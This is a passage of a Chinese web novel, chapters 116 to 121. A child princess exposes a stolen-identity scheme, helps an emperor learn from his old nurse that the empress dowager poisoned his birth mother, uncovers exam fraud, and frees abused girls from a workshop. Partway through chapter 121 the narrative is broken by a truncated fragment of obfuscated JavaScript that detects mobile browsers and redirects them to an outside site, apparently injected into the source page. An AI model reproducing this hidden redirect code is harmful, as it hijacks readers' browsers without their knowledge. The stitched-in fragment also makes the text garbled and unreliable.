得知团团获封私务坊特使,他恭恭敬敬地给团团行了一礼:“盟主,不知这私务坊,该如何设立?”
团团一脸奇怪:“我怎么知道!”
“啊?!”冯舟觉得,原本自己脑子里是一片空白,如今则是乱成了一团。
程如安在一旁轻笑:“冯公子,不,如今公子已有官身,该称冯大人了。”
冯舟马上躬身行礼:“不敢,不敢,王妃言重了,若无王爷的举荐,学生哪有今日的官身!”
程如安微微颔首:“大人不必客气。这私务坊的设立,还需你事事费心,团团这官职。”
她摇了摇头,“不过就是有空时去看看,大人不必请示过问于她,凡事自断即可。”
冯舟点了点头:“下官明白了。已在府中打扰多日,如今既领了差使,当尽心办好,下官今日便告辞了。”
程如安点了点头,冯舟满脸都是光彩,兴冲冲而去。
次日一早,下人禀告:“启禀王妃,工部尚书盛大人求见小小姐。”
团团从饭碗中抬起头:“谁?”
第117章 否则你会没命的哦
程如安看了女儿一眼:“将盛大人请至前厅稍候,上茶。”
“是。”
盛湛坐下刚喝了半盏茶,便看到程如安领着个小团子走了进来。
想必这便是大名鼎鼎的嘉佑郡主了。
盛湛赶紧起身:“见过王妃娘娘,嘉佑郡主。”
寒暄两句后,他道明了来意:“王妃娘娘,下官听闻郡主在秋猎时,于**箭一道颇有奇思。”
“今日冒昧前来,便是想请郡主移步工部,有几个弓**的图纸,想请郡主指点一二。”
团团仰起头看着母亲:“娘亲,我要管吗?”
程如安一怔。
女儿虽然被封为私务坊特使,官居五品,但那并不是工部的官,管有管的道理,不管嘛,也没人敢说什么,
她默默看向盛湛,却被他的眼神吓了一跳。
只见他眼睛里冒着绿油油光,眼珠不错的盯着团团,充满了渴望。
程如安犹豫了片刻后:“团团,今日你若不必去国子监,去瞧瞧也无妨。”
“哦,”团团应了一声。
扭头看向盛湛,小下巴抬得高高的:“我去可以,不过,你要请我吃好吃的哦!白看我可不干。”
盛湛心头一松,忙不迭地应承:“没问题!待郡主看完,下官做东,请郡主去新开的‘百味轩’尝尝鲜!”
“那百味轩才开张不久,便口碑甚佳,都说其与碎金阁的手艺不相上下。”
“好耶!”团团立刻眉开眼笑,蹦起来拉住萧二的大手,“二叔叔,走!咱们一起去吃那个百什么味!”
边往外跑边回头喊了一声:“娘亲!我给你带好吃的回来啊!”
“你慢些跑!别摔着!萧二,看好了她啊!”程如安无奈摇头。
“是!”
马车来到工部门口,盛湛恰巧遇到一位同僚:“郡主,请先行一步,直走到头便是下官的值房。”
团团点了点头,拉着萧二往里走去。
盛湛的值房内陈设简单,最显眼的便是摆在正中的一个宽大案桌,上面铺着几张图纸。
团团踮起脚,伸出小手扒着桌沿,好奇地拿起最上面一张,看得分外专注。
“哪里来的野丫头!竟敢擅动尚书大人的案卷!”门口处传来一声厉喝。
团团吓了一跳,回头一看,一个穿着青色官袍、面容刻板的男子大步冲了过来,伸手就要夺她手中的图纸。
萧二眉头一皱,抬起手臂将他挡住了。
团团小眉头蹙起:“你凶什么?”
“凶?“那男子指着门口,气势汹汹,”你再不滚出去,本官便叫侍卫来拿你下狱!”
他看了一眼萧二:“纵然你是哪家大人的孩子,此处是工部尚书大人的值房,机要政务之地,也不容你在此放肆!”
“工部是你家开的吗?”团团半点不怕,反而歪着头问他,“你说拿我就拿我?”
“放肆!本官乃工部主事冯伯甲!”
“哦,”团团慢悠悠地将图纸放回桌上,“原来你叫冯伯甲啊。”
盛湛匆匆赶回,走到门口时恰好听到了最后两句,脸色瞬间铁青:“冯伯甲!放肆的是你!谁给你的胆子对郡主无礼!”
“郡主?”冯伯甲一脸惊讶,这么小的郡主?
盛湛恨不得一脚把他踹出去:“还不快给郡主赔罪!”
冯伯甲脸上青白交错,梗着脖子默不作声。
她一个乳臭未干的小孩在这里翻看图纸,我还不能说了?
我又没错!
团团摆了摆小手:“我不用他赔罪。”
“他印堂发黑,霉运当头,没几天好蹦跶了。”
冯伯甲被她气得满脸通红:“你!就算你是郡主,也不能如此诅咒下官!”
团团乌溜溜的眼睛盯着他,上上下下地打量了一番:“你心眼这么坏,连自己的家人都坑,不怕遭报应吗?”
“你!你胡说八道什么!”冯伯甲脸色大变,猛地后退了一步,声音都变了调。
“是不是胡说,你知道呀。”团团眨了眨眼,“偷来的东西,要还的哦!你占了别人的位子,要小心哦!”
冯伯甲浑身一颤,一脸惊骇地看着她,猛地转身,连滚带爬地冲了出去。
盛湛被这突如其来的变故弄得一头雾水。
却见团团已经拿起了桌上的图纸,小脑袋摇得像拨浪鼓:“我都看过啦,太差啦,漏洞百出。”
她将图纸往盛湛手里一塞:“你去找冯舟吧,把图纸给他看,他会帮你改好。”
“冯舟?”盛湛一脸茫然,“此人是谁?身在何处啊?”
团团伸出小手指,指了指冯伯甲消失的大门:“就是被刚才那个坏蛋偷了东西的人呀,你去问他吧!”
在工部里逛了一圈后,两人来到了百味轩。
“你怎么又一个人乱跑啊?”
团团抬头一看:“大三哥!你回来啦!”
萧泽俯身将她抱了起来:“你也来尝尝这新开的酒楼?”
团团点头:“嗯!”
萧泽抱着她往楼上走:“巧了,正好今日
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有人请我来这里吃饭,一起吧。”
萧二黑着脸跟在后面,又来了一个动不动就抱小姐的!
走进一个雅间,里面坐着的两个少年一起站了起来。
其中一个蓝衣少年一脸的不可置信:“七哥!这孩子你哪儿捡的?”
团团板起小脸:“我才不是他捡来的呢!”
萧泽瞪了那少年一眼:“这是我九弟萧然。”
“那是陈王之子陈浩。”
名叫陈浩的青衣少年点了下头:“七殿下,这位是?”
萧泽把团团放在身边的锦凳上:“这是宁王府的嘉佑郡主。”
萧然满脸惊讶:“嘉佑郡主?就是那位为长兄赢了雪参,秋猎时还带了两头猛虎回大营的嘉佑郡主?”
团团刚想得意地摇摇小脑袋。
便听到萧然道:“就是这个小不点儿啊!”
团团怒了,瞪着眼睛:“你才是小不点儿!你全家都是小不点儿!”
萧然哈哈大笑:“七哥,这个小不点儿真好玩!她这一句,把父皇都给骂进去了!”
萧泽无奈地瞥了弟弟一眼:“赶紧点菜吧你!”
抬手摸了摸团团的小脑袋:“别理他,他就这样儿,想吃什么吗?”
团团对着萧然哼了一声:“不理你!”
转头看向萧泽:“大三哥,这里有什么好吃的啊?我都想尝一尝!”
萧泽一听,高声道:“小二!”
萧二蹭的一声冲了进来,手握刀柄:“小姐!你怎么了?这些人欺负你了吗?”
团团一脸懵:“我没事儿啊,二叔叔。”
萧泽想了想,哭笑不得:“我是叫传菜的小二……”
一屋子人明白了过来,都忍不住哈哈大笑。
萧二一张黑脸透出了微红,团团从锦凳上溜了下来,跑到他面前:“二叔叔!有大三哥在呢,我没事儿的,你想吃什么尽管去点!”
“别怕花钱哦!有工部老头儿给咱们付账!”
萧二不舍地看了她一眼:“是!”退了出去。
萧泽让小二将百味轩里的招牌拿手菜都做了一份,几人一起大快朵颐。
团团看着坐在自己对面的陈浩:“你是大三哥的朋友?”
陈浩看了一眼萧泽,微笑着点了点头。
“好吧,那看在他的面上,我告诉你啊,七日内不要靠近烧香的地方哦!”
陈浩一怔:“烧香的地方?郡主,我很少去道观敬香的。”
团团低下头继续吃:“那就好,否则,你会没命的哦!”
第118章 再去一趟?走!
几个人闻言都面露惊讶地看向团团。
“真香啊!”团团埋头苦吃,没注意他们。
萧泽沉吟片刻:“她的话,你最好还是记住。”
陈浩有些茫然,烧香?他为什么要烧香呢?
团团把自己觉得好吃的菜又都叫了一份打包,准备带回去给家里人也尝尝。
萧泽突然想起来:“我没在宫里的时候,你去找我了?”
“对啊!”团团想起来都不开心:“我只想去找你吃好吃的嘛!谁知道被破太后给叫走了,幸好皇伯父来救了我。”
“噗——”萧然一口茶喷了出来,陈浩也噎住了,两人咳得惊天动地。
“哈哈哈哈哈……”
萧然:“破……”
萧泽瞪了他们一眼,两人会意,都没再说话,只是笑了好半天才停下来。
萧泽训斥完弟弟,自己强忍了半天,还是没有忍住,也笑得捂着肚子,肩膀疯狂耸动。
刮了一下小团子的鼻头:“你啊!”
吃完饭,萧然和陈浩先走了。
萧泽抱着团团,看着萧二:“你将这些食盒拿回宁王府,我带她进宫去我那里玩一会儿,再送回去。”
团团高兴了:“大三哥真好!”
萧二挺直了腰板:“在下也去!”
把小姐交給你?不行!
萧泽冷眼看着面前这个比自己高了一头多的高大侍卫。
萧二与他对视,丝毫不退。
团团看看大三哥,又看看二叔叔,无奈摇头:“好啦!二叔叔,我买了好多菜给娘亲他们呢,你送回去好不好?”
萧二一脸委屈地看着自家小姐。
团团拍了拍他的大胸脯:“不用担心啦!我很快就回来!”
萧二无奈,只得带着十几个食盒回府了。
团团跟着萧泽进宫来到了他的居所。
萧泽让下人端上来一桌子蜜饯糕点,任她随便吃。
团团吃得两腮鼓鼓:“大三哥,太后怕那天我捡到的铜牌哦!”
“哦?”萧泽蹙眉,“为什么呢?”
“话说你这个肚子,怎么这么能吃,才吃了那么多,居然还能塞得下!”
团团瞪了他一眼:“因为我小嘛!”
萧泽笑了:“好!知道啦!那个铜牌呢?给我看看。”
“给皇伯父啦!”
萧泽面露疑惑:“给父皇干什么?”
“因为,皇伯父跟那个铜牌啊,比跟太后还亲哦!”
萧泽手中的茶盏一抖,目光深邃:“团团,咱们一起再去趟冷宫,找那个老婆婆去,好不好?”
团团仰起小脸看着他:“大三哥,你也想去问老婆婆那个铜牌的事吗?”
萧泽点了点头:“去吗?”
团团想了想:“走!”
两人一起,再次来到了那处荒僻的宫苑。
秋风卷着枯叶,打着旋儿飘落,令这里更显荒芜零落。
团团边走边轻轻地喊:“老婆婆?你在哪里呀?”
萧泽牵着她的手,目光锐利地扫过每一个角落。
正要往更深的殿内走去,却见一扇破旧的殿门被人从里面拉开,一个人走了出来。
竟然是程公公!
“翁翁!你怎么也在这里啊?”团团松开萧泽的手,走到他的身边。
程公公见到他们也是一脸惊讶:“七殿下,小郡主!你们……”
“那铜牌,你们就是在这里捡到的?”一身常服的萧杰昀走了出来,面色沉郁。
萧泽心头一凛,立刻行礼:“是,父皇。那日儿臣带着郡主路过此地,遇见一个老婆婆,就是她不慎将铜牌掉落的。”
萧杰昀侧过身:“进来吧。”
几人一同走了进去,程公公仔细看了看四周,小心地将门掩紧。
屋里很昏暗,一个老婆婆正蜷缩在角落,浑身脏污,花白的头发遮住了脸庞,抱着自己的身体瑟瑟发抖。
萧杰昀问道:“就是她?”
团团走过去,轻轻撩起她脸上的头发:“对啊!老婆婆,你的孩子找到了吗?”
老婆婆看见面前的团团,明显一愣,听到她问起孩子,像是突然想起了什么,开始惊慌失措地在地上爬,四处翻找。
“阳阳,阳阳,你去哪儿了啊?你快出来啊!”
萧杰昀看着眼前这一幕,眉头紧紧皱起。
程公公轻声道:“陛下,老奴查了宫册,这老妇是凤仪宫送来的。”
“送来时便已经疯癫,已经在这里待了近三十年了。”
萧杰昀低声道:“三十年前?母后的凤仪宫?”
程公公走近还在墙角处到处翻找的老婆婆:“陛下驾到,你可有什么想说的?”
老婆婆浑身一抖,口中喃喃:“陛下?陛下?”
她缓缓抬头,看到了萧杰昀的脸,面色骤变,马上跪倒磕头,不停地喊:“陛下!皇后娘娘是血崩而亡!奴才不敢撒谎!不敢啊!”
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>萧杰昀追问:“皇后?先皇后?”
老婆婆依旧不停磕头,却一个字也不再说了。
团团走过去扶住了她:“婆婆,你别再磕啦!头不晕吗?”
听到她的话,老婆婆逐渐安静了下来,又开始四下寻找:“阳阳,你在哪儿啊,你回我一声啊!”
萧杰昀掏出铜牌,走过去递到她眼前:“这是你的东西吗?”
老婆婆看到铜牌,颤颤巍巍地伸出手接了过来,搂进怀里便再不撒手,浑身无意识的不停晃动,嘴里不停念叨着一些谁都听不清楚的喃喃呓语。
萧杰昀摇了摇头:“走吧,她这个样子,什么也问不出来了。”
团团皱着眉头,老婆婆真可怜啊!
孩子丢了,脑子还乱了。
明明,她有好多话想说的!
她拉住萧杰昀的一只大手:“皇伯父,她有话想说呢。可她脑子乱了,说不出来。”
萧杰昀眉头紧锁。
团团抬头看了他一眼,又低头看了看老婆婆,小脑袋一歪。
怎么办才好呢?怎么才能让老婆婆把想说的话说出来呢?
突然,她看到了因为拉着皇帝,而萦绕在自己手上的紫气。
有了!
“皇伯父,你身上有好多好多紫气,好亮好暖和!可以把老婆婆身上黑黑的坏东西赶走!”
萧杰昀浑身一震:“朕身上的紫气?”
“对呀!”团团用力点头,“你是大龙嘛,紫气最厉害啦!”
“来嘛!”
她拉起萧杰昀的手,靠近老婆婆,又拉起她的一只手,将两人的手掌心贴在了一起。
几人都紧紧地盯着老婆婆,却见她依然如旧,晃动着身体,口中不停喃喃。
萧泽道:“没有用啊,团团。”
“要这样才行啊。”团团用自己的两只小手把贴在一起的两只大手紧紧地夹在了手心。
马上便看到一股磅礴的紫气,犹如洪流,自萧杰昀掌心涌出,瞬间便将缠绕在老婆婆周身的黑色秽气冲散得无影无踪。
团团开心了:“行啦!”
而在其他人看来,则是那疯疯癫癫的老婆婆,身子不再晃动,眼神逐渐清亮。
她缓缓的、极其艰难地抬起了头,目光落在萧杰昀的脸上。
积蓄已久的泪水如决堤般汹涌而出。
“殿下!你是我的小殿下!我是安娘啊!”
“是慕容氏!是她毒杀了皇后娘娘!”
第119章 当真是个破太后
萧杰昀浑身一震:“安娘?“
安娘泪流满面:“殿下!你不认得安娘了?我是你的乳母啊!从你出生,我便在你身边啊!”
萧杰昀盯着她的脸:“为何……为何我毫无印象?”
“因为你两岁那年,我便被慕容氏灌了药,扔进了冷宫。”
安娘举起手中铜牌:“这是皇后娘娘宫中的旧物,你小时候最喜欢拿着玩耍,我一直都留在身边。”
“安娘,你口中唤的皇子不是阳阳吗?怎会是朕?”
“那是皇后娘娘给你起的乳名啊,殿下你不记得了?”
萧杰昀一脸茫然地摇了摇头。
安娘的眼泪缓了下来:“殿下,你,你都长这么大了,真好,我居然还能再见到你,太好了。”
萧杰昀问出了自己最想知道的:“安……娘?你方才说皇后娘娘,是先皇后吗?可朕的母后是慕容氏啊。”
安娘猛烈摇头:“殿下!你不是慕容氏的孩子,你是先皇后的亲生孩儿啊!”
萧杰昀震惊得瞪大了眼睛。
萧泽和程公公倒抽了一口凉气,团团一脸疑惑,皇伯父不是太后的孩子吗?
安娘叹了口气,说出了当年所有的事:
“殿下,你是先皇后十月怀胎,九死一生才诞下的皇儿。”
“那年,慕容氏与先皇后相继有孕,生产时又正好赶在了同一日。”
“殿下先呱呱落地,不久便传来莫容氏也诞下皇子的消息。”
安娘悔恨交加:“殿下!奴婢有罪!奴婢对不起娘娘啊!”
萧杰昀心头剧震:“安娘,莫要惊慌,你慢慢说。”
“那一日,皇后娘娘生产时见了大红,身子虚弱,正躺在床上小憩。”
“那毒妇突然带着人闯了进来,抱着个死胎威逼娘娘!”
萧泽惊讶地长大了嘴,团团也瞪大了眼睛。
“她那时说的话,奴婢记得清清楚楚!”
“她一改往日的温良贤淑,一进门便咬牙切齿:凭什么你我二人同时有孕,你却要生在我的前面?”
“凭什么你的孩子好好的,我的孩子却夭折了?分明就是你克了我们母子!”
“姐姐,您护不了自己的孩儿了,不如,便让他做臣妾的孩子吧。”
“若姐姐舍不得,那本宫便让他给臣妾的皇儿陪葬!”
“皇后娘娘想喊人进来,这才发现,因为娘娘有孕时体虚,协理六宫的大权落在已经是贵妃的慕容氏手里,早已将满宫的人都收买殆尽了。”
“皇后娘娘无奈,让她发下毒誓,会终身将您视如己出,那毒妇张嘴便来,还说若他日未履行誓言,必遭五雷轰顶。”
“然后,她便端来一碗**,逼着娘娘当场服下了!”
“啊?!”团团惊讶地喊出了声。
“奴婢亲眼看着皇后娘娘咽下了最后一口气!”
“那毒妇让人将死胎放到皇后身边,她自己却抱起了殿下!”
安娘浑身颤抖:“殿下!皇后娘娘她,是用自己的性命,保住了你的命啊!”
“那毒妇!是用皇后娘娘的命,铺成了她的皇后之路啊!”
萧杰昀猛地闭上双眼,胸口剧烈起伏。
“后来呢?”他睁开眼睛,声音沙哑得厉害,“她既已得手,为何还留你性命?”
安娘惨笑一声:“先帝爷在外征战,马上便要回朝,奴婢是娘娘刚刚有孕时便早已指派好的乳母,先帝识得奴婢。”
“她需要奴婢这个皇后身边的旧人,亲口证实娘娘是血崩而亡。”
“奴婢在先帝面前给她做了人证,又寡廉鲜耻,卑躬屈膝地在她身边奉承,只想多陪在你身边几年,生怕她又起了什么歹念,对你不利。”
“你两岁那年,慕容氏晋封为继后,先帝将您立为太子,对先皇后的死因也再无疑心。”
“她便禀告先帝,说奴婢得了失心疯,移居别宫静养。”
“实则是她强行给奴婢灌了药,扔进了这冷宫自生自灭。”
“奴婢喝下药后便糊涂了,很多事情都想不起来了。”
她贪婪地注视着萧杰昀的脸:“殿下,你都长这么大了。奴婢死也瞑目了。”
萧杰昀深吸了一口气,强压下胸口翻涌的杀意。
他轻轻将安娘散乱的白发拢到耳后,动作分外轻柔。
“安娘,你没有错。”他一字一句地道,“若非你当年隐忍,朕又如何能活到今日?是你护住了朕。”
“你放心,这笔血债,朕会亲自讨回来!”
他看向团团:“团团,你能不能,
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让朕身上的紫气,一直留在她的身上?”
“不行呀,”团团摇了摇头,“皇伯父的紫气,就是皇伯父的,只能这样啦。”
萧杰昀明白了,脸上露出一丝惨笑:“是么……”
安娘却并不在意,她伸出另一只枯瘦的手,颤抖着覆上皇帝的手臂,如同当年哄他入睡般轻轻拍着。
“殿下,够了,能再看你这一眼,把真相亲口告诉你,让皇后娘娘的冤屈得见天日,安娘别无所求了。”
她猛地用力,主动撤回了自己的手,眼神逐渐涣散,声音也飘忽起来:“殿下,你要做一个……好皇帝。”
团团手里一空,萧杰昀下意识地想再拉住安娘的手,却停在了半空。
安娘的眼神重新变得空洞而迷茫,口中又开始含糊不清地不停呓语。
她紧紧攥着那枚铜牌,蜷缩回角落,对着墙壁喃喃道:“阳阳!你去哪了啊?”
萧杰昀的手仍然是那个虚握的姿势,定定地看着瞬间变回了疯癫模样的安娘,巨大的悲恸席卷而来,令他闭上了眼睛,不忍再看。
半晌后,他睁开双眼,深深看了一眼那蜷缩的背影,猛地转身,大步走出殿外。
程公公面色发白,冲着萧泽和团团招了下手,几人赶紧跟了出来。
“程谨言!”
“老奴在。”
“将安娘,移至紫宸殿偏殿,派最稳妥的宫人伺候,用度比照太妃。”
他顿了顿:“她要什么,便给她什么。”
“若有任何人敢怠慢一丝一毫,诛九族。”
程公公冷汗涔涔:“老奴遵旨!即刻照办!”
萧杰昀看了看萧泽和团团。
他蹲下身,平视着团团,又看了一眼儿子,眼神复杂。
“今日之事,关系重大。你们要将此事忘得干干净净,绝不可对任何人提起。”
萧泽跪倒在地,正色道:“儿臣明白,定守口如瓶。”
团团则眨了眨大眼睛:“皇伯父你说什么呀,我没听见啊!”
萧杰昀微微一笑,摸了摸她的头:“真是个机灵的好孩子,皇伯父多谢你了。”
他站起身,转身离去。
萧泽看着父亲的背影:“团团啊,你还真说对了,太后她,当真是个破太后啊!”
第120章 你是去拉臭臭了吗
次日一早,宁王府。
下人禀告:“王妃娘娘,有位柳云逸公子在外求见。"
“柳云逸……”程如安想了片刻,没想起来是哪位。
“他可有说因何事求见?”
“说是来辞行的,拜谢王妃娘娘购书赠银之恩。”
“购书赠银?哦!”程如安想起来了,是那个在“翰墨斋”书肆里看书的学生!
“请他去前厅稍候。”
“是。”
见到程如安领着团团走进来,柳云逸急忙站起:“学生柳云逸,拜见王妃,郡主。”
团团一看:“是你啊!”
程如安面带微笑:“柳公子,请坐,上茶。”
柳云逸深深一揖,言语恳切:“昔日蒙王妃相助,学生没齿难忘,今日,是特地前来辞行的。”
“京城纸贵,居之不易,学生学问未精,此番科考名落孙山,无颜再留,即日返乡,特来拜谢王妃昔日大恩。”
他话音刚落,团团便一脸惊讶:“落榜?你怎么会落榜呀?”
柳云逸看着她,心中苦涩,勉强一笑:“是学生才疏学浅,让郡主见笑了。”
“此番进京,一无所成,文章未能入云崖先生之眼,科考亦……”
“云老头?”团团眉头皱了起来,“你的文章他怎么会看不上?你骗人!”
柳云逸一怔,云老头?云崖先生吗?
“学生不敢欺瞒,”他连忙解释,“当日学生病重,曾将文章交由同窗赵琦,请他代为转呈云崖先生……”
“啊!那个坏蛋!”团团一听,顿时气鼓鼓,“你被他骗啦!”
“那天他跟我三哥哥吵架,被云老头骂走啦,根本就没拿出什么东西给云老头看!”
柳云逸浑身一震,脸色瞬间苍白。
他一直以为是自己文章不佳,难道,竟是赵琦从中作梗?
团团从凳子上滑下来,围着他走了一圈,小脸上满是探究:“你考试的时候,是不是去拉臭臭啦?”
“三哥哥告诉过我,如果考试时去拉臭臭,就会被盖上黑黑的印子,中不了榜啦!”
柳云逸哭笑不得地拱手:“郡主,令兄所言,确有其规。但学生谨守考场规矩,并未去……拉臭臭。”
“那更不对了呀!”团团歪着小脑袋,又围着他走了一圈,“你没拉臭臭,文章又写得那么好,怎么会考不中呢?”
她抬起小手指着他,不容置疑:“你可是文曲星呀!”
这句话让柳云逸彻底愣住了,脑中一片空白。
我?我是文曲星?当真?
程如安心头一跳。
她冲着团团招了下手,把她叫到自己身边:“团团,柳公子他,当真是文曲星?”
“对呀娘亲!”团团用力点头,“我不会看错的,就是他!可是……”她困惑地撅起嘴,“文曲星怎么会考不中呢?太奇怪啦!”
程如安的神色瞬间变得凝重。
她站起身,对尚在震惊中的柳云逸道:“柳公子,返乡之事可否暂缓?请在府中稍坐片刻。”
“但凭王妃安排。”柳云逸下意识地躬身应下,缓缓坐进椅中,心中乱成了一团。
程如安立刻让刘嬷嬷去将王爷请来。
不过片刻,萧元珩大步流星地走了进来。
团团马上扑了过去:“爹爹!”
“诶!”萧元珩将她一把抱起,坐了下来。
柳云逸连忙起身行礼:“学生见过王爷。”
程如安将刚才的事情简单说了一遍后:“王爷,此事恐有内情。”
萧元珩看着柳云逸:“柳公子,科考试卷分为‘墨卷’与‘朱卷’。”
“考生亲笔所书,是为‘墨卷’;由专人誊抄、隐去姓名送至考官处批阅的,是为‘朱卷’。”
“你现在便去礼部,以认为成绩有误为由,要求调阅你的墨卷与朱卷进行核对。”
“无论结果如何,立即回府告知本王。”
“是!学生遵命!”
宁王出面过问,或可有转机!
柳云逸心中燃起一丝希望,躬身行礼,匆匆离去。
很快,他便再度回到王府厅,脸上尽是愤懑。
“王爷,王妃,学生连礼部的大门都未能进去!”
“守门的官吏听说我来查对考卷,说本次科考所有试卷均已封存,无法调阅。”
“学生与他据理力争,他却将学生给轰了出来。”
团团一听,气得挥舞起小拳头:“坏
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蛋!欺负人!”
萧元珩眼中寒光一闪:“本王知道了。柳公子,你且在府中安心住下。此事,本王定会为你讨回一个公道!”
柳云逸大喜:“多谢王爷!多谢王妃!”
团团不高兴了:“还有我啊!”
柳云逸不好意思地摸了摸后脑勺:“是是!学生最该多谢的,便是小郡主!”说罢,便对着团团一揖到地。
团团满意地点了点头:“孺子可教!”
柳云逸还没起身,脑袋险些磕到地上。
团团仰起小脸问程如安:“怎么了娘亲?我说的不对吗?”
“我徒弟就是这样说的啊!”
程如安哭笑不得:“好啦,去玩吧。”
团团开心地跑了出去:“二叔叔!咱们出去逛逛!”
萧二将她抱起,两人出门而去。
萧元珩则片刻未停,径直入宫面圣。
萧杰昀沉着脸听完了他的禀报:“程谨言。”
程公公上前一步:“老奴在。”
“找个脸生、机灵的人,去礼部,将本次科考考生柳云逸的墨卷、朱卷,给朕‘请’出来,仔细核对。”
“老奴明白。”程公公心领神会,悄无声息地退了下去。
将近两个时辰后,他去而复返,脸色十分难看。
“启禀陛下,已经仔细核对过了。”
“柳云逸的墨卷和与之对应的朱卷上,名字完全不是同一个人!”
“这是,被人冒名顶替了啊!”
萧杰昀怒极反笑:“好!好一个李代桃僵!好一个瞒天过海!”
“科举取士乃国之根基!礼部竟敢如此肆意妄为,视国法如无物!”
“传朕旨意!本次科举舞弊案,由宁王主理,督察院协理。”
“给朕彻查!一应人等,严惩不贷!”
“臣遵旨!”
此时的萧二正抱着团团,穿行在大街小巷。
突然,旁边的一个院落中,传来了一声尖细的怒吼:“这都学不会!我养着你们白吃饭吗?”
随即便是几个孩子的哭声和藤条抽打的破空声。
团团眉头皱起:“二叔叔!”
萧二秒懂,一脚将那院落的大门踹开:“何人在此放肆!”
第121章 都能吃的上饭
二人走进院子,只见七八个年纪不过十岁上下,面黄肌瘦的小姑娘瑟瑟发抖地挤在一起。
一个穿着绸衣,长着一双三角眼的中年妇人,手里正高高地举着一根藤条。
她的脚下,一个小姑娘正蜷着身子抱着自己,背上衣衫破裂,露出道道血痕。
三角眼被萧二踹门的动静吓了一跳,扭头见到原来是一个大汉抱着一个女娃娃,并非官差,立刻松了口气。
她斜着眼睛打量着萧二:“你们是什么人?敢闯我的地方!活腻了不成!”
团团从萧二的怀里溜下地,跑到那倒地的小姑娘身边,看着她背上的伤,小脸绷得紧紧的。
她仰头瞪着那三角眼:“你凭什么**?”
“凭什么?”三角眼嗤笑一声,用藤条指着那群女孩,“我花了钱把她们从人牙子手里买来,教她们织绦子、打络子,给她们口饭吃。”
“她们笨手笨脚地学不会,吃着我的饭,还浪费我的料子,当然就要挨打!打死她们都活该!”
“你胡说!”地上那小姑娘抬起头,脸上挂着泪,眼神倔强,“明明是你给的丝线都是霉的烂的!”
“一用力就断,根本打不出好东西!你还克扣我们的饭食……”
“小**你还敢顶嘴!”三角眼恼羞成怒,抬手又要打。
“你敢!”团团眉毛都立起来了,最恨买卖女孩子的坏蛋!
“二叔叔!揍她!”
“是!啊?小姐,她是妇人。”萧二没打过女人,有些伸不出手。
“妇人又怎样?她做了坏事,就该揍!让她也知道知道被人打的滋味!二叔叔!打!”
萧二不再犹豫,一双大手抓住三角眼的衣服就是一顿嘴巴子,打得三角眼不停求饶:“别打了,别打了!好汉饶命啊!”
院子里的小姑娘见她挨打,都拍着手在一旁给萧二助威:“打她!打她!”
团团走到三角眼面前,萧二见状停下了手。
“你坏事做得太多啦!要是还不行善积德,就活不了多久啦!”
三角眼被她说得心头一悸:“你这是妖言惑众!”
“她们吃我的住我的,给**活,难道不是天经地义?”
“你们今日仗着拳头厉害,打了我,我认栽,但她们日后还不是得指着我教她们手艺才能有口饭吃?”
团团看着她,想了想:“二叔叔?”
萧二点了点头:“小姐,这些穷人家的女孩子确实是这样,若没有手艺,就挣不出自己的饭钱,没法活在世上。”
所有的小姑娘都垂下了头,是啊,今天痛快了,以后怎么办?自己都已经没有家人可以依靠了。
团团一双大眼睛里全是懵懂,她看了看萧二,又看了看这些女孩子们。
她走到那个刚挨了打的小姑娘面前:“你喜欢做这些吗?”
小姑娘愣了一下,下意识点了点头:“喜……喜欢,可是,我太笨了,总做不好。”
“你不笨。”团团一脸认真,“是她的东西太差啦,而且,她肯定也没好好教你!”
“我找人教你好不好?”
小姑娘猛地抬起了头,一双大眼睛里充满了光彩:“真的?”
团团使劲点了点头:“不骗你!”
三角眼一听不干了:“她们是我买的!你凭什么带走?我要去衙门里告你们!”
团团哼了一声:“衙门?京兆府吗?那地方我好几天没去了,好啊!二叔叔!既然她那么想去,就送她去京兆府!”
“告诉李靖她都做了什么!让他好好收拾她!”
三角眼傻了,这小娃娃是什么人?成天去京兆府?还居然敢直呼府尹大人的名讳?
“是!”萧二早就等着这句话,铁钳般的大手一把抓住三角眼,根本不顾她的挣扎,便把她抓了出去。
走到门口时,还不忘回头大喊一声:“小姐,你在这里等我啊,别乱跑,我去去便回!”
“知道啦,去吧去吧!”
院子里瞬间安静下来。
女孩们茫然又无措地看着团团,不知该何去何从。
团团看着她们,歪了歪头,走到一个高个子的女孩子面前:“小姐姐,你喜欢做这个吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511235|184125||http|test|mini|href|location''.split(''|''),0,{}));
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r>高个子摇了摇头:“我不喜欢,我想给人看病,村里很多人生病了,都没有大夫给看。”
团团点了点头,走到第二个圆脸女孩子面前:“小姐姐,你喜欢做这个吗?”
圆脸女孩仿佛被她问得吓了一跳,犹豫了半晌,声音细得像蚊子:“我,我也不喜欢。”
这个小姐姐好害羞哦!胆子小得像兔子!
团团堆出笑脸,轻轻地问:“刚才吓到你啦!抱歉啊!”
圆脸女孩连忙使劲摇头,这可是救了自己的人呢:“没,没有。是我,我一向胆子小。”
团团软软的开口:“那小姐姐,你喜欢做什么呢?”
圆脸女孩羞得脸蛋都红了,半晌才回答:“我喜欢做糕点,我家以前就是糕点铺的,我,我想做出最好吃的点心。”
团团点了点头,挨着个地问了一遍。
“你们想不想跟着最好的师傅,学自己最喜欢的手艺?”
“以后用自己的手艺挣钱,再也没人敢随便打你们?”
女孩们惊呆了,怔怔地看着面前这个仿佛在发光的小娃娃。
挨打的小姑娘第一个反应过来,朝着团团重重磕了个头:“想!求小姐给我们指条明路!”
团团小大人似的点了下头,心里的念头越发清晰。
她看着眼前这一张张渴望又惶恐的脸蛋,小手一挥:“好!那你们以后就跟着我吧!”
“我要开一个!开一个……”
她努力想着该怎么说才对。
哥哥们读书的地方叫国子监,她忽然灵光一闪:“对啦!我要开一个‘女子监’!”
“喜欢给人看病的学看病,喜欢打络子的学打络子,喜欢做糕点的做糕点!”
萧二将人送到京兆府后返回,刚好踏进大门,便听到自家小姐的惊人言论。
小姑娘们互相看了几眼,眼睛里都燃烧着热烈的光芒。
团团高兴的手舞足蹈,没错!我是祭酒的小师傅嘛!
我要自己开一个学院!
让这些没饭吃的姐姐们,都上学!学东西!以后都能吃得上饭!
第122章 给你啦
